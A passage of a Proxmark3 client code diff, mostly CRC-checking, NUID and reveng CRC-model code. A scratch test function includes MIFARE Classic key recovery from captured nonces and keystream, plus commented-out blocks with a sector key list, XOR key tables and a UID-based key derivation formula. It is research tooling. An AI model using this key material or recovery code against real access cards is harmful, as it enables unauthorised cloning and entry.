PrintAndLogEx(NORMAL, "-- " _YELLOW_(its my message) "\n"); + PrintAndLogEx(NORMAL, "-- " _GREEN_(its my message) "\n"); + + //uint8_t syncBit = 99; + // The start bit is one ore more Sequence Y followed by a Sequence Z (... 11111111 00x11111). We need to distinguish from + // Sequence X followed by Sequence Y followed by Sequence Z (111100x1 11111111 00x11111) + // we therefore look for a ...xx1111 11111111 00x11111xxxxxx... pattern + // (12 '1's followed by 2 '0's, eventually followed by another '0', followed by 5 '1's) + # define SYNC_16BIT 0xB24D + uint32_t shiftReg = param_get32ex(Cmd, 0, 0xb24d, 16); + uint8_t bt = param_get8ex(Cmd, 1, 0xBB, 16); + uint8_t byte_offset = 99; + // reverse byte + uint8_t rev = reflect8(bt); + PrintAndLogEx(NORMAL, "input %02x | %02x \n", bt, rev); + // add byte to shift register + shiftReg = shiftReg << 8 | rev; + + PrintAndLogEx(NORMAL, "shiftreg after %08x | pattern %08x \n", shiftReg, SYNC_16BIT); + + uint8_t n0 = 0, n1 = 0; + + n0 = (rev & (uint8_t)(~(0xFF >> (8-4)))) >> 4; + n1 = (n1 << 4) | (rev & (uint8_t)(~(0xFF << 4))); + + PrintAndLogEx(NORMAL, "rev %02X | %02X %s | %02X %s |\n", rev, n0, pb(n0), n1, pb(n1) ); + +/* +hex(0xb24d shr 0) 0xB24D 0b1011001001001101 +hex(0xb24d shr 1) 0x5926 +hex(0xb24d shr 2) 0x2C93 +*/ + +for ( int i =0; i< 16; i++) { + PrintAndLogEx(NORMAL, " (shiftReg >> %d) & 0xFFFF == %08x ---", i, (( shiftReg >> i) & 0xFFFF )); + + // kolla om SYNC_PATTERN finns. + if ((( shiftReg >> 7) & 0xFFFF ) == SYNC_16BIT) byte_offset = 7; + else if ((( shiftReg >> 6) & 0xFFFF ) == SYNC_16BIT) byte_offset = 6; + else if ((( shiftReg >> 5) & 0xFFFF ) == SYNC_16BIT) byte_offset = 5; + else if ((( shiftReg >> 4) & 0xFFFF ) == SYNC_16BIT) byte_offset = 4; + else if ((( shiftReg >> 3) & 0xFFFF ) == SYNC_16BIT) byte_offset = 3; + else if ((( shiftReg >> 2) & 0xFFFF ) == SYNC_16BIT) byte_offset = 2; + else if ((( shiftReg >> 1) & 0xFFFF ) == SYNC_16BIT) byte_offset = 1; + else if ((( shiftReg >> 0) & 0xFFFF ) == SYNC_16BIT) byte_offset = 0; + + PrintAndLogEx(NORMAL, "Offset %u \n", byte_offset); + if ( byte_offset != 99 ) + break; + + shiftReg >>=1; +} + + uint8_t p1 = (rev & (uint8_t)(~(0xFF << byte_offset))); + PrintAndLogEx(NORMAL, "Offset %u | leftovers %02x %s \n", byte_offset, p1, pb(p1) ); + + + + /* +pm3 --> da hex2bin 4db2 0100110110110010 +*/ + return 0; +/* + // split byte into two parts. + uint8_t offset = 3, n0 = 0, n1 = 0; + rev = 0xB2; + for (uint8_t m=0; m<8; m++) { + offset = m; + n0 = (rev & (uint8_t)(~(0xFF >> (8-offset)))) >> offset; + n1 = (n1 << offset) | (rev & (uint8_t)(~(0xFF << offset))); + + PrintAndLogEx(NORMAL, "rev %02X | %02X %s | %02X %s |\n", rev, n0, pb(n0), n1, pb(n1) ); + n0 = 0, n1 = 0; + // PrintAndLogEx(NORMAL, " (0xFF >> offset) == %s |\n", pb( (0xFF >> offset)) ); + //PrintAndLogEx(NORMAL, "~(0xFF >> (8-offset)) == %s |\n", pb( (uint8_t)(~(0xFF >> (8-offset))) ) ); + //PrintAndLogEx(NORMAL, " rev & xxx == %s\n\n", pb( (rev & (uint8_t)(~(0xFF << offset))) )); + } +return 0; + // from A -- x bits into B and the rest into C. + + for ( uint8_t i=0; i<8; i++){ + PrintAndLogEx(NORMAL, "%u | %02X %s | %02X %s |\n", i, a, pb(a), b, pb(b) ); + b = a & (a & (0xFF >> (8-i))); + a >>=1; + } + + */ + return 0; + + // 14443-A + uint8_t u14_c[] = {0x09, 0x78, 0x00, 0x92, 0x02, 0x54, 0x13, 0x02, 0x04, 0x2d, 0xe8 }; // atqs w crc + uint8_t u14_w[] = {0x09, 0x78, 0x00, 0x92, 0x02, 0x54, 0x13, 0x02, 0x04, 0x2d, 0xe7 }; // atqs w crc + PrintAndLogEx(FAILED, "14a check wrong crc | %s\n", (check_crc(CRC_14443_A, u14_w, sizeof(u14_w))) ? "YES": "NO" ); + PrintAndLogEx(SUCCESS, "14a check correct crc | %s\n", (check_crc(CRC_14443_A, u14_c, sizeof(u14_c))) ? "YES": "NO" ); + + // 14443-B + uint8_t u14b[] = {0x05,0x00,0x08,0x39,0x73}; + PrintAndLogEx(NORMAL, "14b check crc | %s\n", (check_crc(CRC_14443_B, u14b, sizeof(u14b))) ? "YES": "NO"); + + // 15693 test + uint8_t u15_c[] = {0x05,0x00,0x08,0x39,0x73}; // correct + uint8_t u15_w[] = {0x05,0x00,0x08,0x39,0x72}; // wrong + PrintAndLogEx(FAILED, "15 check wrong crc | %s\n", (check_crc(CRC_15693, u15_w, sizeof(u15_w))) ? "YES": "NO"); + PrintAndLogEx(SUCCESS, "15 check correct crc | %s\n", (check_crc(CRC_15693, u15_c, sizeof(u15_c))) ? "YES": "NO"); + + // iCLASS test - wrong crc , swapped bytes. + uint8_t iclass_w[] = { 0x40, 0xe1, 0xe1, 0xff, 0xfe, 0x5f, 0x02, 0x3c, 0x01, 0x43}; + uint8_t iclass_c[] = { 0x40, 0xe1, 0xe1, 0xff, 0xfe, 0x5f, 0x02, 0x3c, 0x43, 0x01}; + PrintAndLogEx(FAILED, "iCLASS check wrong crc | %s\n", (check_crc(CRC_ICLASS, iclass_w, sizeof(iclass_w))) ? "YES": "NO"); + PrintAndLogEx(SUCCESS, "iCLASS check correct crc | %s\n", (check_crc(CRC_ICLASS, iclass_c, sizeof(iclass_c))) ? "YES": "NO"); + + // FeliCa test + uint8_t felica_w[] = {0x12,0x01,0x01,0x2e,0x3d,0x17,0x26,0x47,0x80, 0x95,0x00,0xf1,0x00,0x00,0x00,0x01,0x43,0x00,0xb3,0x7e}; + uint8_t felica_c[] = {0x12,0x01,0x01,0x2e,0x3d,0x17,0x26,0x47,0x80, 0x95,0x00,0xf1,0x00,0x00,0x00,0x01,0x43,0x00,0xb3,0x7f}; + PrintAndLogEx(FAILED, "FeliCa check wrong crc | %s\n", (check_crc(CRC_FELICA, felica_w, sizeof(felica_w))) ? "YES": "NO"); + PrintAndLogEx(SUCCESS, "FeliCa check correct crc | %s\n", (check_crc(CRC_FELICA, felica_c, sizeof(felica_c))) ? "YES": "NO"); + + PrintAndLogEx(NORMAL, "\n\n"); + + return 0; + /* + bool term = !isatty(STDIN_FILENO); + if (!term) { + char star[4]; + star[0] = '-'; + star[1] = '\\'; + star[2] = '|'; + star[3] = '/'; + + for (uint8_t k=0; k<4; k = (k+1) % 4 ) { + PrintAndLogEx(NORMAL, "\e[s%c\e[u", star[k]); + fflush(stdout); + if (ukbhit()) { + int gc = getchar(); (void)gc; + break; + } + } + } + */ + +//piwi +// uid(2e086b1a) nt(230736f6) ks(0b0008000804000e) nr(000000000) +// uid(2e086b1a) nt(230736f6) ks(0e0b0e0b090c0d02) nr(000000001) +// uid(2e086b1a) nt(230736f6) ks(0e05060e01080b08) nr(000000002) +//uint64_t d1[] = {0x2e086b1a, 0x230736f6, 0x0000001, 0x0e0b0e0b090c0d02}; +//uint64_t d2[] = {0x2e086b1a, 0x230736f6, 0x0000002, 0x0e05060e01080b08}; + +// uid(17758822) nt(c0c69e59) ks(080105020705040e) nr(00000001) +// uid(17758822) nt(c0c69e59) ks(01070a05050c0705) nr(00000002) +//uint64_t d1[] = {0x17758822, 0xc0c69e59, 0x0000001, 0x080105020705040e}; +//uint64_t d2[] = {0x17758822, 0xc0c69e59, 0x0000002, 0x01070a05050c0705}; + +// uid(6e442129) nt(8f699195) ks(090d0b0305020f02) nr(00000001) +// uid(6e442129) nt(8f699195) ks(03030508030b0c0e) nr(00000002) +// uid(6e442129) nt(8f699195) ks(02010f030c0d050d) nr(00000003) +// uid(6e442129) nt(8f699195) ks(00040f0f0305030e) nr(00000004) +//uint64_t d1[] = {0x6e442129, 0x8f699195, 0x0000001, 0x090d0b0305020f02}; +//uint64_t d2[] = {0x6e442129, 0x8f699195, 0x0000004, 0x00040f0f0305030e}; + +/* +uid(3e172b29) nt(039b7bd2) ks(0c0e0f0505080800) nr(00000001) +uid(3e172b29) nt(039b7bd2) ks(0e06090d03000b0f) nr(00000002) +*/ + uint64_t *keylistA = NULL, *keylistB = NULL; + uint32_t keycountA = 0, keycountB = 0; +// uint64_t d1[] = {0x3e172b29, 0x039b7bd2, 0x0000001, 0, 0x0c0e0f0505080800}; +// uint64_t d2[] = {0x3e172b29, 0x039b7bd2, 0x0000002, 0, 0x0e06090d03000b0f}; +uint64_t d1[] = {0x6e442129, 0x8f699195, 0x0000001, 0, 0x090d0b0305020f02}; +uint64_t d2[] = {0x6e442129, 0x8f699195, 0x0000004, 0, 0x00040f0f0305030e}; + + keycountA = nonce2key(d1[0], d1[1], d1[2], 0, d1[3], d1[4] ,&keylistA); + keycountB = nonce2key(d2[0], d2[1], d2[2], 0, d2[3], d2[4], &keylistB); + + switch (keycountA) { + case 0: PrintAndLogEx(FAILED, "Key test A failed\n"); break; + case 1: PrintAndLogEx(SUCCESS, "KEY A | %012" PRIX64 " ", keylistA[0]); break; + } + switch (keycountB) { + case 0: PrintAndLogEx(FAILED, "Key test B failed\n"); break; + case 1: PrintAndLogEx(SUCCESS, "KEY B | %012" PRIX64 " ", keylistB[0]); break; + } + + free(keylistA); + free(keylistB); + +// qsort(keylist, keycount, sizeof(*keylist), compare_uint64); +// keycount = intersection(last_keylist, keylist); + + /* + uint64_t keys[] = { + 0x7b5b8144a32f, 0x76b46ccc461e, 0x03c3c36ea7a2, 0x171414d31961, + 0xe2bfc7153eea, 0x48023d1d1985, 0xff7e1a410953, 0x49a3110249d3, + 0xe3515546d015, 0x667c2ac86f85, 0x5774a8d5d6a9, 0xe401c2ca602c, + 0x3be7e5020a7e, 0x66dbec3cf90b, 0x4e13f1534605, 0x5c172e1e78c9, + 0xeafe51411fbf, 0xc579f0fcdd8f, 0x2146a0d745c3, 0xab31ca60171a, + 0x3169130a5035, 0xde5e11ea4923, 0x96fe2aeb9924, 0x828b61e6fcba, + 0x8211b0607367, 0xe2936b320f76, 0xaff501e84378, 0x82b31cedb21b, + 0xb725d31d4cd3, 0x3b984145b2f1, 0x3b4adb3e82ba, 0x8779075210fe + }; + + uint64_t keya[] = { + 0x7b5b8144a32f, 0x76b46ccc461e, 0x03c3c36ea7a2, 0x171414d31961, + 0xe2bfc7153eea, 0x48023d1d1985, 0xff7e1a410953, 0x49a3110249d3, + 0xe3515546d015, 0x667c2ac86f85, 0x5774a8d5d6a9, 0xe401c2ca602c, + 0x3be7e5020a7e, 0x66dbec3cf90b, 0x4e13f1534605, 0x5c172e1e78c9 + }; + uint64_t keyb[] = { + 0xeafe51411fbf, 0xc579f0fcdd8f, 0x2146a0d745c3, 0xab31ca60171a, + 0x3169130a5035, 0xde5e11ea4923, 0x96fe2aeb9924, 0x828b61e6fcba, + 0x8211b0607367, 0xe2936b320f76, 0xaff501e84378, 0x82b31cedb21b, + 0xb725d31d4cd3, 0x3b984145b2f1, 0x3b4adb3e82ba, 0x8779075210fe + }; + + */ + + /* + uint64_t xor[] = { + 0x0DEFED88E531, 0x7577AFA2E1BC, 0x14D7D7BDBEC3, 0xF5ABD3C6278B, + 0xAABDFA08276F, 0xB77C275C10D6, 0xB6DD0B434080, 0xAAF2444499C6, + 0x852D7F8EBF90, 0x3108821DB92C, 0xB3756A1FB685, 0xDFE627C86A52, + 0x5D3C093EF375, 0x28C81D6FBF0E, 0x1204DF4D3ECC, 0xB6E97F5F6776, + 0x2F87A1BDC230, 0xE43F502B984C, 0x8A776AB752D9, 0x9A58D96A472F, + 0xEF3702E01916, 0x48A03B01D007, 0x14754B0D659E, 0x009AD1868FDD, + 0x6082DB527C11, 0x4D666ADA4C0E, 0x2D461D05F163, 0x3596CFF0FEC8, + 0x8CBD9258FE22, 0x00D29A7B304B, 0xBC33DC6C9244 + }; + + + uint64_t xorA[] = { + 0x0DEFED88E531, 0x7577AFA2E1BC, 0x14D7D7BDBEC3, 0xF5ABD3C6278B, + 0xAABDFA08276F, 0xB77C275C10D6, 0xB6DD0B434080, 0xAAF2444499C6, + 0x852D7F8EBF90, 0x3108821DB92C, 0xB3756A1FB685, 0xDFE627C86A52, + 0x5D3C093EF375, 0x28C81D6FBF0E, 0x1204DF4D3ECC + }; + uint64_t xorB[] = { + 0x2F87A1BDC230, 0xE43F502B984C, 0x8A776AB752D9, 0x9A58D96A472F, + 0xEF3702E01916, 0x48A03B01D007, 0x14754B0D659E, 0x009AD1868FDD, + 0x6082DB527C11, 0x4D666ADA4C0E, 0x2D461D05F163, 0x3596CFF0FEC8, + 0x8CBD9258FE22, 0x00D29A7B304B, 0xBC33DC6C9244 + }; + */ + /* + // xor key A | xor key B + 1 | 0DEFED88E531 | 2F87A1BDC230 + 2 | 7577AFA2E1BC | E43F502B984C + 3 | 14D7D7BDBEC3 | 8A776AB752D9 + 4 | F5ABD3C6278B | 9A58D96A472F + 5 | AABDFA08276F | EF3702E01916 + 6 | B77C275C10D6 | 48A03B01D007 + 7 | B6DD0B434080 | 14754B0D659E + 8 | AAF2444499C6 | 009AD1868FDD + 9 | 852D7F8EBF90 | 6082DB527C11 + 10 | 3108821DB92C | 4D666ADA4C0E + 11 | B3756A1FB685 | 2D461D05F163 + 12 | DFE627C86A52 | 3596CFF0FEC8 + 13 | 5D3C093EF375 | 8CBD9258FE22 + 14 | 28C81D6FBF0E | 00D29A7B304B + 15 | 1204DF4D3ECC | BC33DC6C9244 + */ + + // generate xor table :) + /* + for (uint8_t i=0; i<31; i++){ + uint64_t a = keys[i] ^ keys[i+1]; + PrintAndLogEx(NORMAL, "%u | %012" PRIX64 " | \n", i, a); + } + */ + + /* + uint32_t id = param_get32ex(Cmd, 0, 0x93290142, 16); + uint8_t uid[6] = {0}; + num_to_bytes(id,4,uid); + + uint8_t key_s0a[] = { + uid[1] ^ uid[2] ^ uid[3] ^ 0x11, + uid[1] ^ 0x72, + uid[2] ^ 0x80, + (uid[0] + uid[1] + uid[2] + uid[3] ) ^ uid[3] ^ 0x19, + 0xA3, + 0x2F + }; + + PrintAndLogEx(NORMAL, "UID | %s\n", sprint_hex(uid,4 )); + PrintAndLogEx(NORMAL, "KEY A | %s\n", sprint_hex(key_s0a, 6)); + + // arrays w all keys + uint64_t foo[32] = {0}; + + //A + foo[0] = bytes_to_num(key_s0a, 6); + //B + //foo[16] = 0xcafe71411fbf; + foo[16] = 0xeafe51411fbf; + + for (uint8_t i=0; i<15; i++){ + foo[i+1] = foo[i] ^ xorA[i]; + foo[i+16+1] = foo[i+16] ^ xorB[i]; + + } + for (uint8_t i=0; i<15; i++){ + uint64_t a = foo[i]; + uint64_t b = foo[i+16]; + + PrintAndLogEx(NORMAL, "%02u | %012" PRIX64 " %s | %012" PRIX64 " %s\n", + i, + a, + ( a == keya[i])?"ok":"err", + b, + ( b == keyb[i])?"ok":"err" + ); + } + */ + return 0; +} + +void generate4bNUID(uint8_t *uid, uint8_t *nuid){ + uint16_t crc; + uint8_t b1, b2; + + compute_crc(CRC_14443_A, uid, 3, &b1, &b2); + nuid[0] |= (b2 & 0xE0) | 0xF; + nuid[1] = b1; + + crc = b1; + crc |= b2 << 8; + + crc = update_crc16(uid[3], crc); + crc = update_crc16(uid[4], crc); + crc = update_crc16(uid[5], crc); + crc = update_crc16(uid[6], crc); + + nuid[2] = (crc >> 8) & 0xFF ; + nuid[3] = crc & 0xFF; +} + +int CmdAnalyseNuid(const char *Cmd){ + uint8_t nuid[4] = {0}; + uint8_t uid[7] = {0}; + int len = 0; + char cmdp = param_getchar(Cmd, 0); + if (strlen(Cmd) == 0|| cmdp == 'h' || cmdp == 'H') return usage_analyse_nuid(); + + /* selftest UID 040D681AB52281 -> NUID 8F430FEF */ + if (cmdp == 't' || cmdp == 'T') { + memcpy(uid, "\x04\x0d\x68\x1a\xb5\x22\x81", 7); + generate4bNUID(uid, nuid); + if ( 0 == memcmp(nuid, "\x8f\x43\x0f\xef", 4)) + PrintAndLogEx(SUCCESS, "Selftest OK\n"); + else + PrintAndLogEx(FAILED, "Selftest Failed\n"); + return 0; + } + + param_gethex_ex(Cmd, 0, uid, &len); + if ( len%2 || len != 14) return usage_analyse_nuid(); + + generate4bNUID(uid, nuid); + + PrintAndLogEx(NORMAL, "UID | %s \n", sprint_hex(uid, 7)); + PrintAndLogEx(NORMAL, "NUID | %s \n", sprint_hex(nuid, 4)); + return 0; +} +static command_t CommandTable[] = { + {"help", CmdHelp, 1, "This help"}, + {"lcr", CmdAnalyseLCR, 1, "Generate final byte for XOR LRC"}, + {"crc", CmdAnalyseCRC, 1, "Stub method for CRC evaluations"}, + {"chksum", CmdAnalyseCHKSUM, 1, "Checksum with adding, masking and one's complement"}, + {"dates", CmdAnalyseDates, 1, "Look for datestamps in a given array of bytes"}, + {"tea", CmdAnalyseTEASelfTest, 1, "Crypto TEA test"}, + {"lfsr", CmdAnalyseLfsr, 1, "LFSR tests"}, + {"a", CmdAnalyseA, 1, "num bits test"}, + {"nuid", CmdAnalyseNuid, 1, "create NUID from 7byte UID"}, + {NULL, NULL, 0, NULL} +}; + +int CmdAnalyse(const char *Cmd) { + clearCommandBuffer(); + CmdsParse(CommandTable, Cmd); + return 0; +} + +int CmdHelp(const char *Cmd) { + CmdsHelp(CommandTable); + return 0; +} diff --git a/client/cmdanalyse.h b/client/cmdanalyse.h new file mode 100644 index 000000000..f834c717d --- /dev/null +++ b/client/cmdanalyse.h @@ -0,0 +1,45 @@ +//----------------------------------------------------------------------------- +// Copyright (C) 2016 iceman +// +// This code is licensed to you under the terms of the GNU GPL, version 2 or, +// at your option, any later version. See the LICENSE.txt file for the text of +// the license. +//----------------------------------------------------------------------------- +// Data and Graph commands +//----------------------------------------------------------------------------- + +#ifndef CMDANALYSE_H__ +#define CMDANALYSE_H__ + +#include //size_t +#include +#include +#include "cmdmain.h" +#include "proxmark3.h" +#include "ui.h" // PrintAndLog +#include "util.h" +#include "crc.h" +#include "crc16.h" // crc16 ccitt +#include "tea.h" +#include "legic_prng.h" +#include "loclass/elite_crack.h" +#include "mfkey.h" //nonce2key +#include "util_posix.h" // msclock + + +int usage_analyse_lcr(void); +int usage_analyse_checksum(void); +int usage_analyse_crc(void); +int usage_analyse_hid(void); +int usage_analyse_nuid(void); + +int CmdAnalyse(const char *Cmd); +int CmdAnalyseLCR(const char *Cmd); +int CmdAnalyseCHKSUM(const char *Cmd); +int CmdAnalyseDates(const char *Cmd); +int CmdAnalyseCRC(const char *Cmd); +int CmdAnalyseTEASelfTest(const char *Cmd); +int CmdAnalyseLfsr(const char *Cmd); +int CmdAnalyseHid(const char *Cmd); +int CmdAnalyseNuid(const char *Cmd); +#endif diff --git a/client/cmdcrc.c b/client/cmdcrc.c new file mode 100644 index 000000000..2fc7c15f1 --- /dev/null +++ b/client/cmdcrc.c @@ -0,0 +1,480 @@ +//----------------------------------------------------------------------------- +// Copyright (C) 2015 iceman +// +// This code is licensed to you under the terms of the GNU GPL, version 2 or, +// at your option, any later version. See the LICENSE.txt file for the text of +// the license. +//----------------------------------------------------------------------------- +// CRC Calculations from the software reveng commands +//----------------------------------------------------------------------------- +#include "cmdcrc.h" + +#define MAX_ARGS 20 + +int split(char *str, char *arr[MAX_ARGS]){ + int beginIndex = 0; + int endIndex; + int maxWords = MAX_ARGS; + int wordCnt = 0; + + while(1){ + while(isspace(str[beginIndex])) { + ++beginIndex; + } + if(str[beginIndex] == '\0') { + break; + } + endIndex = beginIndex; + while (str[endIndex] && !isspace(str[endIndex])) { + ++endIndex; + } + int len = endIndex - beginIndex; + char *tmp = calloc(len + 1, sizeof(char)); + memcpy(tmp, &str[beginIndex], len); + arr[wordCnt++] = tmp; + beginIndex = endIndex; + if (wordCnt == maxWords) + break; + } + return wordCnt; +} + +int CmdCrc(const char *Cmd) +{ + char name[] = {"reveng "}; + char Cmd2[100 + 7]; + memcpy(Cmd2, name, 7); + memcpy(Cmd2 + 7, Cmd, 100); + char *argv[MAX_ARGS]; + int argc = split(Cmd2, argv); + + if (argc == 3 && memcmp(argv[1], "-g", 2) == 0) { + CmdrevengSearch(argv[2]); + } else { + reveng_main(argc, argv); + } + for(int i = 0; i < argc; ++i) { + free(argv[i]); + } + return 0; +} + +//returns array of model names and the count of models returning +// as well as a width array for the width of each model +int GetModels(char *Models[], int *count, uint8_t *width){ + /* default values */ + static model_t model = MZERO; + + int ibperhx = 8;//, obperhx = 8; + int rflags = 0, uflags = 0; /* search and UI flags */ + poly_t apoly, crc, qpoly = PZERO, *apolys = NULL, *pptr = NULL, *qptr = NULL; + model_t pset = model, *candmods, *mptr; + + /* stdin must be binary */ + #ifdef _WIN32 + _setmode(STDIN_FILENO, _O_BINARY); + #endif /* _WIN32 */ + + SETBMP(); + + int args = 0, psets, pass; + int Cnt = 0; + if (width[0] == 0) { //reveng -D + *count = mcount(); + if (!*count){ + PrintAndLogEx(WARNING, "no preset models available"); + return 0; + } + for (int mode = 0; mode < *count; ++mode) { + mbynum(&model, mode); + mcanon(&model); + size_t size = (model.name && *model.name) ? strlen(model.name) : 7; + char *tmp = calloc(size+1, sizeof(char)); + if (tmp==NULL){ + PrintAndLogEx(WARNING, "out of memory?"); + return 0; + } + memcpy(tmp, model.name, size); + Models[mode] = tmp; + width[mode] = plen(model.spoly); + } + mfree(&model); + } else { //reveng -s + + if (~model.flags & P_MULXN){ + PrintAndLogEx(WARNING, "cannot search for non-Williams compliant models"); + return 0; + } + praloc(&model.spoly, (unsigned long)width[0]); + praloc(&model.init, (unsigned long)width[0]); + praloc(&model.xorout, (unsigned long)width[0]); + + if (!plen(model.spoly)) + palloc(&model.spoly, (unsigned long)width[0]); + else + width[0] = (uint8_t)plen(model.spoly); + + /* special case if qpoly is zero, search to end of range */ + if (!ptst(qpoly)) + rflags &= ~R_HAVEQ; + + /* if endianness not specified, try + * little-endian then big-endian. + * NB: crossed-endian algorithms will not be + * searched. + */ + /* scan against preset models */ + if (~uflags & C_NOPCK) { + pass = 0; + Cnt = 0; + do { + psets = mcount(); + + while (psets) { + mbynum(&pset, --psets); + + /* skip if different width, or refin or refout don't match */ + if( plen(pset.spoly) != width[0] || (model.flags ^ pset.flags) & (P_REFIN | P_REFOUT)) + continue; + /* skip if the preset doesn't match specified parameters */ + if (rflags & R_HAVEP && pcmp(&model.spoly, &pset.spoly)) + continue; + if (rflags & R_HAVEI && psncmp(&model.init, &pset.init)) + continue; + if (rflags & R_HAVEX && psncmp(&model.xorout, &pset.xorout)) + continue; + + //for additional args (not used yet, maybe future?) + apoly = pclone(pset.xorout); + + if (pset.flags & P_REFOUT) + prev(&apoly); + + for (qptr = apolys; qptr < pptr; ++qptr) { + crc = pcrc(*qptr, pset.spoly, pset.init, apoly, 0); + if (ptst(crc)) { + pfree(&crc); + break; + } + pfree(&crc); + } + pfree(&apoly); + + if (qptr == pptr) { + + /* the selected model solved all arguments */ + mcanon(&pset); + + size_t size = (pset.name && *pset.name) ? strlen(pset.name) : 7; + //PrintAndLogEx(NORMAL, "Size: %d, %s, count: %d",size,pset.name, Cnt); + char *tmp = calloc(size+1, sizeof(char)); + if (tmp == NULL){ + PrintAndLogEx(WARNING, "out of memory?"); + return 0; + } + width[Cnt] = width[0]; + memcpy(tmp, pset.name, size); + Models[Cnt++] = tmp; + *count = Cnt; + uflags |= C_RESULT; + } + } + mfree(&pset); + + /* toggle refIn/refOut and reflect arguments */ + if (~rflags & R_HAVERI) { + model.flags ^= P_REFIN | P_REFOUT; + for (qptr = apolys; qptr < pptr; ++qptr) { + prevch(qptr, ibperhx); + } + } + } while (~rflags & R_HAVERI && ++pass < 2); + } + //got everything now free the memory... + + if (uflags & C_RESULT) { + for (qptr = apolys; qptr < pptr; ++qptr) { + pfree(qptr); + } + } + if (!(model.flags & P_REFIN) != !(model.flags & P_REFOUT)){ + PrintAndLogEx(WARNING, "cannot search for crossed-endian models"); + return 0; + } + pass = 0; + do { + mptr = candmods = reveng(&model, qpoly, rflags, args, apolys); + if (mptr && plen(mptr->spoly)) { + uflags |= C_RESULT; + } + while (mptr && plen(mptr->spoly)) { + mfree(mptr++); + } + free(candmods); + if (~rflags & R_HAVERI) { + model.flags ^= P_REFIN | P_REFOUT; + for (qptr = apolys; qptr < pptr; ++qptr) { + prevch(qptr, ibperhx); + } + } + } while (~rflags & R_HAVERI && ++pass < 2); + + for (qptr = apolys; qptr < pptr; ++qptr) { + pfree(qptr); + } + free(apolys); + mfree(&model); + + if (~uflags & C_RESULT){ + PrintAndLogEx(WARNING, "no models found"); + return 0; + } + } + return 1; +} + +//-c || -v +//inModel = valid model name string - CRC-8 +//inHexStr = input hex string to calculate crc on +//reverse = reverse calc option if true +//endian = {0 = calc default endian input and output, b = big endian input and output, B = big endian output, r = right justified +// l = little endian input and output, L = little endian output only, t = left justified} +//result = calculated crc hex string +int RunModel(char *inModel, char *inHexStr, bool reverse, char endian, char *result){ + /* default values */ + static model_t model = MZERO; + + int ibperhx = 8, obperhx = 8; + int rflags = 0; // search flags + int c; + poly_t apoly, crc; + + char *string; + + // stdin must be binary + #ifdef _WIN32 + _setmode(STDIN_FILENO, _O_BINARY); + #endif /* _WIN32 */ + + SETBMP(); + //set model + if (!(c = mbynam(&model, inModel))) { + PrintAndLogEx(WARNING, "error: preset model '%s' not found. Use reveng -D to list presets.", inModel); + return 0; + } + if (c < 0){ + PrintAndLogEx(WARNING, "no preset models available"); + return 0; + } + rflags |= R_HAVEP | R_HAVEI | R_HAVERI | R_HAVERO | R_HAVEX; + + //set flags + switch (endian) { + case 'b': /* b big-endian (RefIn = false, RefOut = false ) */ + model.flags &= ~P_REFIN; + rflags |= R_HAVERI; + /* fall through: */ + case 'B': /* B big-endian output (RefOut = false) */ + model.flags &= ~P_REFOUT; + rflags |= R_HAVERO; + mnovel(&model); + /* fall through: */ + case 'r': /* r right-justified */ + model.flags |= P_RTJUST; + break; + case 'l': /* l little-endian input and output */ + model.flags |= P_REFIN; + rflags |= R_HAVERI; + /* fall through: */ + case 'L': /* L little-endian output */ + model.flags |= P_REFOUT; + rflags |= R_HAVERO; + mnovel(&model); + /* fall through: */ + case 't': /* t left-justified */ + model.flags &= ~P_RTJUST; + break; + } + /* canonicalise the model, so the one we dump is the one we + * calculate with (not with -s, spoly may be blank which will + * normalise to zero and clear init and xorout.) + */ + mcanon(&model); + + + if (reverse) { + // v calculate reversed CRC + /* Distinct from the -V switch as this causes + * the arguments and output to be reversed as well. + */ + // reciprocate Poly + prcp(&model.spoly); + + /* mrev() does: + * if(refout) prev(init); else prev(xorout); + * but here the entire argument polynomial is + * reflected, not just the characters, so RefIn + * and RefOut are not inverted as with -V. + * Consequently Init is the mirror image of the + * one resulting from -V, and so we have: + */ + if (~model.flags & P_REFOUT) { + prev(&model.init); + prev(&model.xorout); + } + + // swap init and xorout + apoly = model.init; + model.init = model.xorout; + model.xorout = apoly; + } + // c calculate CRC + + /* in the Williams model, xorout is applied after the refout stage. + * as refout is part of ptostr(), we reverse xorout here. + */ + if (model.flags & P_REFOUT) + prev(&model.xorout); + + apoly = strtop(inHexStr, model.flags, ibperhx); + + if (reverse) + prev(&apoly); + + crc = pcrc(apoly, model.spoly, model.init, model.xorout, model.flags); + + if (reverse) + prev(&crc); + + string = ptostr(crc, model.flags, obperhx); + for (int i = 0; i < 50; i++){ + result[i] = string[i]; + if (result[i]==0) break; + } + free(string); + pfree(&crc); + pfree(&apoly); + return 1; +} + +//test call to RunModel +int CmdrevengTestC(const char *Cmd){ + int cmdp = 0; + char inModel[30] = {0x00}; + char inHexStr[30] = {0x00}; + char result[30]; + int dataLen; + char endian = 0; + dataLen = param_getstr(Cmd, cmdp++, inModel, sizeof(inModel)); + if (dataLen < 4) return 0; + dataLen = param_getstr(Cmd, cmdp++, inHexStr, sizeof(inHexStr)); + if (dataLen < 4) return 0; + bool reverse = (param_get8(Cmd, cmdp++)) ? true : false; + endian = param_getchar(Cmd, cmdp++); + + //PrintAndLogEx(NORMAL, "mod: %s, hex: %s, rev %d", inModel, inHexStr, reverse); + int ans = RunModel(inModel, inHexStr, reverse, endian, result); + if (!ans) return 0; + + PrintAndLogEx(SUCCESS, "result: %s",result); + return 1; +} + +//returns a calloced string (needs to be freed) +char *SwapEndianStr(const char *inStr, const size_t len, const uint8_t blockSize){ + char *tmp = calloc(len+1, sizeof(char)); + for (uint8_t block=0; block < (uint8_t)(len/blockSize); block++){ + for (size_t i = 0; i < blockSize; i+=2){ + tmp[i+(blockSize*block)] = inStr[(blockSize-1-i-1)+(blockSize*block)]; + tmp[i+(blockSize*block)+1] = inStr[(blockSize-1-i)+(blockSize*block)]; + } + } + return tmp; +} + +// takes hex string in and searches for a matching result (hex string must include checksum) +int CmdrevengSearch(const char *Cmd){ + +#define NMODELS 103 + + char inHexStr[100] = {0x00}; + int dataLen = param_getstr(Cmd, 0, inHexStr, sizeof(inHexStr)); + if (dataLen < 4) return 0; + + // these two arrays, must match preset size. + char *Models[NMODELS]; + uint8_t width[NMODELS] = {0}; + int count = 0; + + uint8_t crcChars = 0; + char result[30]; + char revResult[30]; + int ans = GetModels(Models, &count, width); + bool found = false; + if (!ans) return 0; + + // try each model and get result + for (int i = 0; i < count; i++){ + /*if (found) { + free(Models[i]); + continue; + }*/ + // round up to # of characters in this model's crc + crcChars = ((width[i]+7)/8)*2; + // can't test a model that has more crc digits than our data + if (crcChars >= dataLen) + continue; + memset(result, 0, 30); + char *inCRC = calloc(crcChars+1, 